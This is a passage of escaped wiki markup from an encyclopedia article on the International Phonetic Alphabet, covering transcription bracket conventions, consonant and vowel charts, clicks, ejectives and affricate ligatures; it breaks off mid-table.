The other symbols from the Latin alphabet, {{IPA|[c]}}, {{IPA|[j]}}, {{IPA|[q]}}, {{IPA|[r]}}, {{IPA|[x]}}, and {{IPA|[y]}}, correspond to sounds these letters represent in various other languages. {{IPA|[j]}} has the Slavic and Germanic value of &lt;j&gt;, that of English ''y'' in ''yoke'';
{{IPA|[y]}} has the [[Scandinavian languages|Scandinavian]] and [[Old English language|Old English]] value: [[Finnish language|Finnish]] ''y'', [[German language|German]] ''y'' or ''ü'', [[French language|French]] ''u'', [[Dutch language|Dutch]] ''u''. 

Letters that share a particular modification sometimes correspond to a similar type of sound. For example, all the [[retroflex consonant]]s have the same symbol as the equivalent [[alveolar consonant]], with the addition of a rightward facing hook at the bottom. Although there is some correspondence between modified letters, generally the IPA symbols do not have a systematic [[distinctive feature|featural]] relationship between shape and articulation. For instance, there is not a consistent relationship between lowercase letters and their small capital counterparts, nor are all [[labial consonant]]s linked through a common design.

[[Diacritic mark]]s can be combined with IPA letters to transcribe modified [[phonetic]] values or [[secondary articulation]]s. There are also special symbols for [[suprasegmental feature]]s such as [[stress (linguistics)|stress]] and [[tone (linguistics)|tone]].

===Types of transcriptions===
The [[International Phonetic Association]] recommends that a [[phonetics|phonetic]] transcription should be enclosed in [[bracket|square brackets]] &quot;[&amp;nbsp;]&quot;. A transcription that specifically denotes only [[phonology|phonological]] contrasts may be enclosed in [[slash (punctuation)|slash]]es &quot;/&amp;nbsp;/&quot; instead. If one is in doubt, it is best to use brackets, for by setting off a transcription with slashes one makes a theoretical claim that every symbol within is [[phoneme|phonemic]]ally contrastive for the language being transcribed. 

Phonetic transcriptions try to objectively capture the actual pronunciation of a word, whereas phonemic transcriptions are model dependent. For example, [[Noam Chomsky]] transcribed the English word ''night'' phonemically as /nixt/. In his model, the phoneme /x/ is often silent, but shows its presence by “lengthening” the preceding vowel. The preceding vowel in this case is the phoneme /i/, which is pronounced [aj] when long. So phonemic /nixt/ is equivalent to phonetic [najt], but only if you share Chomsky's belief that historical sounds such as the ''gh'' in ''night'' may remain in a word long after they have ceased to be pronounced.  

For phonetic transcriptions, there is flexibility in how closely sounds may be transcribed. A transcription that gives only a basic idea of the sounds of a language in the broadest terms is called a &quot;broad transcription&quot;; in some cases this may be equivalent to a phonemic transcription (only without any theoretical claims). A close transcription, indicating precise details of the sounds, is called a &quot;narrow transcription&quot;. These are not binary choices, but the ends of a continuum, with many possibilities in between. All are enclosed in brackets. 

For example, in some dialects the English word ''pretzel'' in a narrow transcription would be {{IPA|[ˈpʰɹ̥ʷɛʔt.sɫ̩]}}, which notes several phonetic features that may not be evident even to a native speaker. An example of a broader transcription is {{IPA|[ˈpʰɹɛt.sɫ̩]}}, which only indicates some of the easier to hear features. A yet broader transcription would be {{IPA|[ˈpɹɛtsl]}}. Here every symbol represents an unambiguous speech sound, but without making any claims as to their status in the language. 

There are also several possibilities in how to transcribe this word phonemically, but here the differences are generally not of precision, but of analysis. For example, ''pretzel'' could be {{IPA|/ˈprɛtsl/}} or {{IPA|/ˈpretsəl/}}. The special symbol for English ''r'' is not used, for it is not meaningful to distinguish it from a rolled ''r''. The differences in the letter ''e'' reflect claims as to what the essential difference is between the vowels of ''pretzel'' and ''pray''; there are half a dozen ideas in the literature as to what this may be. The second transcription claims that there are two vowels in the word, even if they can't both be heard, while the first claims there is only one. 

However, phonemic transcriptions may also be broad or narrow, or perhaps it would be better to say abstract vs. concrete. They may show a fair amount of phonetic detail, usually of a phoneme's most common allophone, but because they are abstract symbols they do not need to directly resemble any sound at all. Phonemic symbols will frequently be chosen to avoid diacritics as much as possible, under a 'one sound one symbol' policy, or may even be restricted to the [[ASCII]] symbols of a typical keyboard. For example, the English word ''church'' may be transcribed as {{IPA|/tʃɚtʃ/}}, a close approximation of its actual pronunciation, or more abstractly as {{IPA|/crc/}} (three phonemes, three symbols), which is easier to type. Phonemic symbols should always be explained, especially when they are as divergent from actual pronunciation as {{IPA|/crc/}}.  

Occasionally a transcription will be enclosed in [[vertical bar|pipes]] (&quot;| |&quot;). This goes beyond phonology into [[morphology (linguistics)|morphological]] analysis. For example, the words ''pets'' and ''beds'' could be transcribed phonetically as {{IPA|[pʰɛʔts]}} and {{IPA|[b̥ɛdz]}} (in a fairly narrow transcription), and phonemically as {{IPA|/pets/}} and {{IPA|/bedz/}}. Because /s/ and /z/ are separate [[phoneme]]s in English (unlike Spanish, for example), they receive separate symbols in the phonemic analysis. However, you probably recognize that underneath this, they represent the same plural ending. This can be indicated with the pipe notation. If you believe the plural ending is essentially an ''s'', as English spelling would suggest, the words can be transcribed {{IPA|&lt;nowiki&gt;|pets|&lt;/nowiki&gt;}} and {{IPA|&lt;nowiki&gt;|beds|&lt;/nowiki&gt;}}. If, as most linguists would probably suggest, it is essentially a ''z'', these would be {{IPA|&lt;nowiki&gt;|petz|&lt;/nowiki&gt;}} and {{IPA|&lt;nowiki&gt;|bedz|&lt;/nowiki&gt;}}.

To avoid confusion with IPA symbols, it may be desirable to specify when native orthography is being used, so that, for example, the English word ''jet'' is not read as &quot;yet&quot;. This is done with [[Bracket|angle brackets]] or ''chevrons'': {{Unicode|〈jet〉}}. It is also common to italicize such words, but the chevrons indicate specifically that they are in the original language's orthography, and not in English [[transliteration]].

The Extended IPA for [[speech pathology]] has added additional bracket notations. Parentheses are used to indicate ''mouthing'' (silent articulation), as in {{IPA|(ʃːː)}}, a silent sign to hush; parentheses are also used to indicate silent pauses, for example (...). Double parentheses indicate obscured or unintelligible sound, as in ((2 syll.)), two audible but unidentifiable syllables. Curly brackets with Italian musical terms are used to mark prosodic notation, such as {{IPA|[{&lt;sub&gt;&lt;small&gt;''falsetto''&lt;/small&gt;&lt;/sub&gt; hɛlp &lt;sub&gt;&lt;small&gt;''falsetto''&lt;/small&gt;&lt;/sub&gt;}]}}.

== Consonants (pulmonic) ==
===Single articulation===
[[Media:IPA consonants 2005.png|Closeup of the main pulmonic consonant section of the IPA chart]]

The [[pulmonic egressive|pulmonic]] consonant table, which includes most consonants, is arranged in rows that designate [[manner of articulation]] and columns that designate [[place of articulation]]. The main chart only includes consonants with a single place of articulation. 

{| class=&quot;wikitable&quot; style=&quot;text-align: center&quot;
|- style=&quot;vertical-align: center; font-size: x-small; height: 2em&quot;
| style=&quot;font-size: 90%;&quot; | [[Place of articulation]] →
! colspan=2 | [[Labial consonant|Labial]]
! colspan=4 | [[Coronal consonant|Coronal]]
! colspan=4 | [[Dorsal consonant|Dorsal]]
! colspan=4 | [[Radical consonant|Radical]]
! colspan=2 | [[Glottal consonant|(none)]]
|- style=&quot;vertical-align: center; font-size: x-small; height: 3em&quot;
| style=&quot;font-size: 90%;&quot; | [[Manner of articulation]] ↓
! style=&quot;width: 4em;&quot; | [[Bilabial consonant|Bi&amp;shy;la&amp;shy;bial]]
! style=&quot;width: 4em;&quot; | [[Labiodental consonant|La&amp;shy;bio&amp;#x2010;&lt;br/&gt;den&amp;shy;tal]]
! style=&quot;width: 4em;&quot; | [[Dental consonant|Den&amp;shy;tal]]
! style=&quot;width: 4em;&quot; | [[Alveolar consonant|Al&amp;shy;veo&amp;shy;lar]]
! style=&quot;width: 4em;&quot; | [[Postalveolar consonant|Post&amp;#x2010;&lt;br/&gt;al&amp;shy;veo&amp;shy;lar]]
! style=&quot;width: 4em;&quot; | [[Retroflex consonant|Re&amp;shy;tro&amp;#x2010;&lt;br/&gt;flex]]
! style=&quot;width: 4em;&quot; | [[Palatal consonant|Pa&amp;shy;la&amp;shy;tal]]
! style=&quot;width: 4em;&quot; | [[Velar consonant|Ve&amp;shy;lar]]
! colspan=&quot;2&quot; style=&quot;width: 4em;&quot; | [[Uvular consonant|Uvu&amp;shy;lar]]
! colspan=&quot;2&quot; style=&quot;width: 4em;&quot; | [[Pharyngeal consonant|Pha&amp;shy;ryn&amp;#x2010;&lt;br/&gt;geal]]
! colspan=&quot;2&quot; style=&quot;width: 4em;&quot; | [[Epiglottal consonant|Epi&amp;#x2010;&lt;br/&gt;glot&amp;shy;tal]]
! colspan=&quot;2&quot; style=&quot;width: 4em;&quot; | [[Glottal consonant|Glot&amp;shy;tal]]
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Nasal consonant|Nasal]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[bilabial nasal|{{IPA|m}}]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[labiodental nasal|{{IPA|ɱ}}]]
| class=&quot;nounderlines&quot; colspan=&quot;3&quot; |&amp;nbsp;&amp;nbsp;&amp;nbsp;[[alveolar nasal|{{IPA|n}}]] 
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[retroflex nasal|{{IPA|ɳ}}]]
| class=&quot;nounderlines&quot; |&amp;nbsp;&amp;nbsp;&amp;nbsp;[[palatal nasal|{{IPA|ɲ}}]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[velar nasal|{{IPA|ŋ}}]]&lt;/span&gt;
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[uvular nasal|{{IPA|ɴ}}]]
| class=&quot;nounderlines&quot; colspan=&quot;6&quot; style=&quot;background:#ccc&quot; | &amp;nbsp;
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Plosive consonant|Plosive]]
| class=&quot;nounderlines&quot; | [[voiceless bilabial plosive|{{IPA|p}}]] [[voiced bilabial plosive|{{IPA|b}}]]
| class=&quot;nounderlines&quot; | [[voiceless labiodental plosive|*]] [[voiced labiodental plosive|*]]
| class=&quot;nounderlines&quot; colspan=&quot;3&quot; |[[voiceless alveolar plosive|{{IPA|t}}]] [[voiced alveolar plosive|{{IPA|d}}]]
| class=&quot;nounderlines&quot; | [[voiceless retroflex plosive|{{IPA|ʈ}}]] [[voiced retroflex plosive|{{IPA|ɖ}}]]
| class=&quot;nounderlines&quot; | [[voiceless palatal plosive|{{IPA|c}}]] [[voiced palatal plosive|{{IPA|ɟ}}]]
| class=&quot;nounderlines&quot; | [[voiceless velar plosive|{{IPA|k}}]] [[voiced velar plosive|{{IPA|ɡ}}]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | [[voiceless uvular plosive|{{IPA|q}}]] [[voiced uvular plosive|{{IPA|ɢ}}]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; style=&quot;background:#ccc&quot; | &amp;nbsp;
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | [[epiglottal plosive|{{IPA|ʡ}}]]
| class=&quot;nounderlines&quot; style=&quot;width: 1em;&quot; | [[glottal stop|{{IPA|ʔ}}]]
| style=&quot;width: 1em; background:#ccc&quot; | &amp;nbsp;
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Fricative consonant|Fricative]]
| class=&quot;nounderlines&quot; | [[voiceless bilabial fricative|{{IPA|ɸ}}]] [[voiced bilabial fricative|{{IPA|β}}]]
| class=&quot;nounderlines&quot; | [[voiceless labiodental fricative|{{IPA|f}}]] [[voiced labiodental fricative|{{IPA|v}}]]
| class=&quot;nounderlines&quot; | [[voiceless dental fricative|{{IPA|θ}}]] [[voiced dental fricative|{{IPA|ð}}]]
| class=&quot;nounderlines&quot; | [[voiceless alveolar fricative|{{IPA|s}}]] [[voiced alveolar fricative|{{IPA|z}}]]
| class=&quot;nounderlines&quot; | [[voiceless postalveolar fricative|{{IPA|ʃ}}]] [[voiced postalveolar fricative|{{IPA|ʒ}}]]
| class=&quot;nounderlines&quot; | [[voiceless retroflex fricative|{{IPA|ʂ}}]] [[voiced retroflex fricative|{{IPA|ʐ}}]]
| class=&quot;nounderlines&quot; | [[voiceless palatal fricative|{{IPA|ç}}]] [[voiced palatal fricative|{{IPA|ʝ}}]]
| class=&quot;nounderlines&quot; | [[voiceless velar fricative|{{IPA|x}}]] [[voiced velar fricative|{{IPA|ɣ}}]]
| class=&quot;nounderlines&quot; style=&quot;width: 1em;&quot; | [[voiceless uvular fricative|{{IPA|χ}}]] 
| class=&quot;nounderlines&quot; rowspan=&quot;2&quot; style=&quot;width: 1em;&quot; | [[voiced uvular fricative|{{IPA|ʁ}}]]
| class=&quot;nounderlines&quot; style=&quot;width: 1em;&quot; | [[voiceless pharyngeal fricative|{{IPA|ħ}}]] 
| class=&quot;nounderlines&quot; rowspan=&quot;2&quot; style=&quot;width: 1em;&quot; | [[voiced pharyngeal fricative|{{IPA|ʕ}}]]
| class=&quot;nounderlines&quot; style=&quot;width: 1em;&quot; | [[voiceless epiglottal fricative|{{IPA|ʜ}}]] 
| class=&quot;nounderlines&quot; rowspan=&quot;2&quot; style=&quot;width: 1em;&quot; | [[voiced epiglottal fricative|{{IPA|ʢ}}]]
| class=&quot;nounderlines&quot; rowspan=&quot;2&quot; colspan=&quot;2&quot; | [[voiceless glottal fricative|{{IPA|h}}]] [[voiced glottal fricative|{{IPA|ɦ}}]]
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Approximant consonant|Approx&amp;shy;imant]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[bilabial approximant|{{IPA|β̞}}]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[labiodental approximant|{{IPA|ʋ}}]]
| class=&quot;nounderlines&quot; colspan=&quot;3&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[alveolar approximant|{{IPA|ɹ}}]] 
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[retroflex approximant|{{IPA|ɻ}}]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[palatal approximant|{{IPA|j}}]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[velar approximant|{{IPA|ɰ}}]]
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Trill consonant|Trill]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[bilabial trill|{{IPA|ʙ}}]]
| 
| class=&quot;nounderlines&quot; colspan=&quot;3&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[alveolar trill|{{IPA|r}}]] 
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[retroflex trill|{{IPA|*}}]]
| 
| class=&quot;nounderlines&quot; style=&quot;background:#ccc&quot; |
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[uvular trill|{{IPA|ʀ}}]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; style=&quot;background:#ccc&quot; |
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[epiglottal trill|*]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; style=&quot;background:#ccc&quot; | &amp;nbsp;
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Flap consonant|Tap or Flap]]
|  class=&quot;nounderlines&quot; |&amp;nbsp;&amp;nbsp;&amp;nbsp;[[bilabial flap|*]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[labiodental flap|ѵ]]&lt;small&gt;&lt;sup&gt;†&lt;/sup&gt;&lt;/small&gt;
| class=&quot;nounderlines&quot; colspan=&quot;3&quot; |&amp;nbsp;&amp;nbsp;&amp;nbsp;[[alveolar tap|{{IPA|ɾ}}]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[retroflex flap|{{IPA|ɽ}}]]
| &amp;nbsp;
| class=&quot;nounderlines&quot; style=&quot;background:#ccc&quot; |
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | &amp;nbsp;
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; style=&quot;background:#ccc&quot; | &amp;nbsp;
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[epiglottal flap|*]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; style=&quot;background:#ccc&quot; | &amp;nbsp;
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Lateral consonant|Lateral Fricative]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; style=&quot;background:#ccc&quot; |
| class=&quot;nounderlines&quot; colspan=&quot;3&quot; | [[voiceless alveolar lateral fricative|{{IPA|ɬ}}]] [[voiced alveolar lateral fricative|{{IPA|ɮ}}]] 
| class=&quot;nounderlines&quot; | [[voiceless retroflex lateral fricative|*]]&amp;nbsp;&amp;nbsp;&amp;nbsp;
| class=&quot;nounderlines&quot; | [[voiceless palatal lateral fricative|*]]&amp;nbsp;&amp;nbsp;&amp;nbsp;
| class=&quot;nounderlines&quot; | [[voiceless velar lateral fricative|*]]&amp;nbsp;&amp;nbsp;&amp;nbsp;
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | &amp;nbsp;
| class=&quot;nounderlines&quot; colspan=&quot;7&quot; style=&quot;background:#ccc&quot; | &amp;nbsp;
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Lateral consonant|Lateral Approx&amp;shy;imant]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; style=&quot;background:#ccc&quot; |
| class=&quot;nounderlines&quot; colspan=&quot;3&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[alveolar lateral approximant|{{IPA|l}}]] 
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[retroflex lateral approximant|{{IPA|ɭ}}]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[palatal lateral approximant|{{IPA|ʎ}}]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[velar lateral approximant|{{IPA|ʟ}}]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | &amp;nbsp; 
| class=&quot;nounderlines&quot; colspan=&quot;7&quot; style=&quot;background:#ccc&quot; | 
|- style=&quot;font-size: 120%;&quot;
! style=&quot;font-size: x-small; text-align:left&quot; | [[Lateral consonant|Lateral Flap]]
| class=&quot;nounderlines&quot; colspan=2 style=&quot;background:#ccc&quot; | &amp;nbsp;
| class=&quot;nounderlines&quot; colspan=3 | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[alveolar lateral flap|{{IPA|ɺ}}]] 
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[retroflex lateral flap|*]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[palatal lateral flap|*]]
| class=&quot;nounderlines&quot; | &amp;nbsp;&amp;nbsp;&amp;nbsp;[[velar lateral flap|*]]
| class=&quot;nounderlines&quot; colspan=&quot;2&quot; | &amp;nbsp;
| class=&quot;nounderlines&quot; colspan=&quot;7&quot; style=&quot;background:#ccc&quot; | &amp;nbsp;
|}

Notes:
* Asterisks (*) mark reported sounds that do not (yet) have official IPA symbols. See the articles for ''ad hoc'' symbols found in the literature. 
* Daggers (†) mark IPA symbols that do not yet have official [[Unicode]] support. Since May 2005, this is the case of the [[labiodental flap]], symbolized by a right-hook ''v'': [[Image:Labiodental flap (Gentium).png|20px|Labiodental flap]] [http://std.dkuug.dk/jtc1/sc2/wg2/docs/N2945.pdf]. In the meantime the similarly shaped [[izhitsa]] (ѵ) is used here.
* In rows where some symbols appear in pairs (the ''[[obstruent]]s''), the symbol to the right represents a [[voiced consonant]] (except for [[breathy voice|breathy-voiced]] {{IPA|[ɦ]}}). However, {{IPA|[ʔ]}} cannot be voiced. In the other rows (the ''[[sonorant]]s''), the single symbol represents a voiced consonant.
* Although there is a single symbol for the coronal places of articulation for all consonants but fricatives, when dealing with a particular language, the symbols are treated as specifically alveolar, post-alveolar, ''etc.'', as appropriate for that language. 
* Shaded areas indicate articulations judged to be impossible.
* The symbols {{IPA|[ʁ, ʕ, ʢ]}} represent either voiced fricatives or approximants. 
* It is primarily the shape of the tongue rather than its position that distinguishes the fricatives {{IPA|[ʃ ʒ]}}, {{IPA|[ɕ ʑ]}}, and {{IPA|[ʂ ʐ]}}. 
* The labiodental nasal {{IPA|[ɱ]}} is not known to exist as a phoneme in any language.

===Coarticulation===
[[media:IPA co-articulated 2005.png|Closeup of the co-articulated consonant section of the IPA chart]]&lt;br&gt;
{| class=&quot;wikitable&quot; 
| style=&quot;text-align:center; font-size:larger; width:2em;&quot;  class=&quot;nounderlines&quot;| [[voiceless labial-velar fricative|{{IPA|ʍ}}]]
| Voiceless labialized velar approximant
|-
| style=&quot;text-align:center; font-size:larger;&quot; class=&quot;nounderlines&quot; | [[labial-velar approximant|{{IPA|w}}]]
| Voiced labialized velar approximant
|-
| style=&quot;text-align:center; font-size:larger;&quot; class=&quot;nounderlines&quot; | [[labial-palatal approximant|{{IPA|ɥ}}]]
| Voiced labialized palatal approximant
|-
| style=&quot;text-align:center; font-size:larger;&quot; class=&quot;nounderlines&quot; | [[voiceless alveolo-palatal fricative|{{IPA|ɕ}}]]
| Voiceless palatalized postalveolar (alveolo-palatal) fricative
|-
| style=&quot;text-align:center; font-size:larger;&quot; class=&quot;nounderlines&quot; | [[voiced alveolo-palatal fricative|{{IPA|ʑ}}]]
| Voiced palatalized postalveolar (alveolo-palatal) fricative
|-
| style=&quot;text-align:center; font-size:larger;&quot; class=&quot;nounderlines&quot; | [[voiceless palatal-velar fricative|{{IPA|ɧ}}]]
| Voiceless &quot;palatal-velar&quot; fricative
|}

Notes:
*{{IPA|[ɧ]}} is described as a &quot;simultaneous {{IPA|[ʃ]}} and {{IPA|[x]}}&quot;. However, this analysis is disputed. See the [[voiceless palatal-velar fricative|article]] for discussion.

== Consonants (non-pulmonic) ==
[[media:IPA non-pulmonic 2005.png|Closeup of the non-pulmonic consonant section of the IPA chart]]

{| class=&quot;wikitable&quot;
|- valign=top
! colspan=&quot;2&quot; | [[Click consonant|Click releases]]
! colspan=&quot;2&quot; | [[Implosive consonant|Implosives]]
! colspan=&quot;2&quot; | [[Ejective consonant|Ejectives]]
|- valign=top  class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger; width:2em;&quot; | [[bilabial click|{{IPA|ʘ}}]]
| Bilabial
| style=&quot;text-align:center; font-size:larger; width:2em;&quot; | [[voiced bilabial implosive|{{IPA|ɓ}}]]
| Bilabial
| style=&quot;text-align:center; font-size:larger; width:2em;&quot; | {{IPA|ʼ}} 
| ''For example:''
|- valign=top class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | [[dental click|{{IPA|ǀ}}]]
| Laminal alveolar (&quot;dental&quot;)
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiced alveolar implosive|{{IPA|ɗ}}]]
| Alveolar
| style=&quot;text-align:center; font-size:larger;&quot; | [[bilabial ejective|{{IPA|pʼ}}]]
| Bilabial
|- valign=top class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | [[postalveolar click|{{IPA|ǃ}}]]
| Apical (post-) alveolar (&quot;retroflex&quot;)
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiced palatal implosive|{{IPA|ʄ}}]]
| Palatal
| style=&quot;text-align:center; font-size:larger;&quot; | [[alveolar ejective|{{IPA|tʼ}}]]
| Alveolar
|- valign=top class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | [[palatal click|{{IPA|ǂ}}]]
| Laminal postalveolar (&quot;palatal&quot;)
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiced velar implosive|{{IPA|ɠ}}]]
| Velar
| style=&quot;text-align:center; font-size:larger;&quot; | [[velar ejective|{{IPA|kʼ}}]]
| Velar
|- valign=top class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | [[alveolar lateral click|{{IPA|ǁ}}]]
| Lateral coronal (&quot;lateral&quot;)
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiced uvular implosive|{{IPA|ʛ}}]]
| Uvular
| style=&quot;text-align:center; font-size:larger;&quot; | [[alveolar ejective fricative|{{IPA|sʼ}}]]
| Alveolar fricative
|}

Notes: 
* All clicks are doubly articulated and require two symbols: a velar or uvular stop, plus a symbol for the anterior release: {{IPA|[k͡ǂ, ɡ͡ǂ, ŋ͡ǂ, q͡ǂ, ɢ͡ǂ, ɴ͡ǂ]}} ''etc.'', or {{IPA|[ǂ͡k, ǂ͡ɡ, ǂ͡ŋ, ǂ͡q, ǂ͡ɢ, ǂ͡ɴ]}}. When the dorsal articulation is omitted, a {{IPA|[k]}} may usually be assumed. 
* Symbols for the [[voiceless consonant|voiceless]] implosives {{IPA|[ƥ, ƭ, ƈ, ƙ, ʠ]}} are no longer supported by the IPA, though they remain in Unicode. Instead, the IPA uses the voiced equivalent with a voiceless diacritic: {{IPA|[ɓ̥, ʛ̥]}}, ''etc''. 
* Although not confirmed from any language, and therefore not &quot;explicitly recognized&quot; by the IPA, a [[Voiced retroflex implosive|retroflex implosive]], &lt;span title=&quot;U+1D91&quot;&gt;{{Unicode|[&amp;#7569;]}}&lt;/span&gt;, is supported in the Unicode Phonetic Extensions Supplement, added in version 4.1 of the Unicode Standard, or can be created as a composite {{IPA|[ɗ̢]}}.
* The ejective symbol is often seen for [[Glottalic consonant|glottalized]] but pulmonic [[sonorant]]s, such as {{IPA|[mʼ], [lʼ], [wʼ], [aʼ]}}, but these are more properly transcribed as creaky ({{IPA|[m̰], [l̰], [w̰], [a̰]}}).

== Vowels ==
[[media:IPA vowel chart 2005.png|Closeup of the vowel chart of the IPA]]
{{CSS IPA vowel chart}}

Notes:
*Where symbols appear in pairs, the one to the right represents a rounded vowel, as does {{IPA|[ʊ]}} (at least prototypically). All others are unrounded.
*{{IPA|[ɶ]}} is not confirmed as a distinct phoneme in any language.
*{{IPA|[a]}} is officially a front vowel, but there is little distinction between front and central open vowels, and {{IPA|[a]}} is frequently used for an open central vowel.

==Affricates and double articulation==

'''[[Affricate]]s''' and '''[[Doubly articulated consonant|doubly articulated]] stops''' are represented by two symbols joined by a tie bar, either above or below the symbols. The six most common affricates are optionally represented by ligatures, though this is no longer official IPA usage, due to the great number of ligatures that would be required to represent all affricates this way. A third affricate transcription sometimes seen uses the superscript notation for a consonant release, for example {{IPA|tˢ}} for {{IPA|t​͡s}}, paralleling {{IPA|kˣ}} ~ {{IPA|k͡x}}. The symbols for the palatal plosives, {{IPA|&lt;c ɟ&gt;,}} are often used as a convenience for {{IPA|[t​͡ʃ d͡ʒ]}} or similar affricates, even in official IPA publications, so they must be interpreted with care. 

[[Media:Affricate ligatures.png|Image of the six common affricate ligatures and their official IPA equivalents]]

{| class=&quot;wikitable&quot;
|-
! Tie bar
! Ligature
! Description
|-  class=&quot;nounderlines&quot; 
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|t​͡s}}
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiceless alveolar affricate|{{IPA|ʦ}}]]
| voiceless alveolar affricate
|-  class=&quot;nounderlines&quot; 
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|d​͡z}}
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiced alveolar affricate|{{IPA|ʣ}}]]
| voiced alveolar affricate
|- class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|t​͡ʃ}}
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiceless postalveolar affricate|{{IPA|ʧ}}]]
| voiceless postalveolar affricate
|- class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|d​͡ʒ}}
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiced postalveolar affricate|{{IPA|ʤ}}]]
| voiced postalveolar affricate
|- class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|t​͡ɕ}}
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiceless alveolo-palatal affricate|{{IPA|ʨ}}]]
| voiceless alveolo-palatal affricate
|- class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|d​͡ʑ}}
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiced alveolo-palatal affricate|{{IPA|ʥ}}]]
| voiced alveolo-palatal affricate
|- class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiceless alveolar lateral affricate|{{IPA|t​͡ɬ}}]]
| style=&quot;text-align:center; font-size:larger;&quot; | &amp;nbsp;&amp;ndash;
| voiceless alveolar lateral affricate
|- class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiceless labial-velar plosive|{{IPA|k͡p}}]]
| style=&quot;text-align:center; font-size:larger;&quot; | &amp;nbsp;&amp;ndash;
| voiceless labial-velar plosive
|- class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | [[voiced labial-velar plosive|{{IPA|ɡ͡b}}]]
| style=&quot;text-align:center; font-size:larger;&quot; | &amp;nbsp;&amp;ndash;
| voiced labial-velar plosive
|- class=&quot;nounderlines&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | [[labial-velar nasal|{{IPA|ŋ͡m}}]]
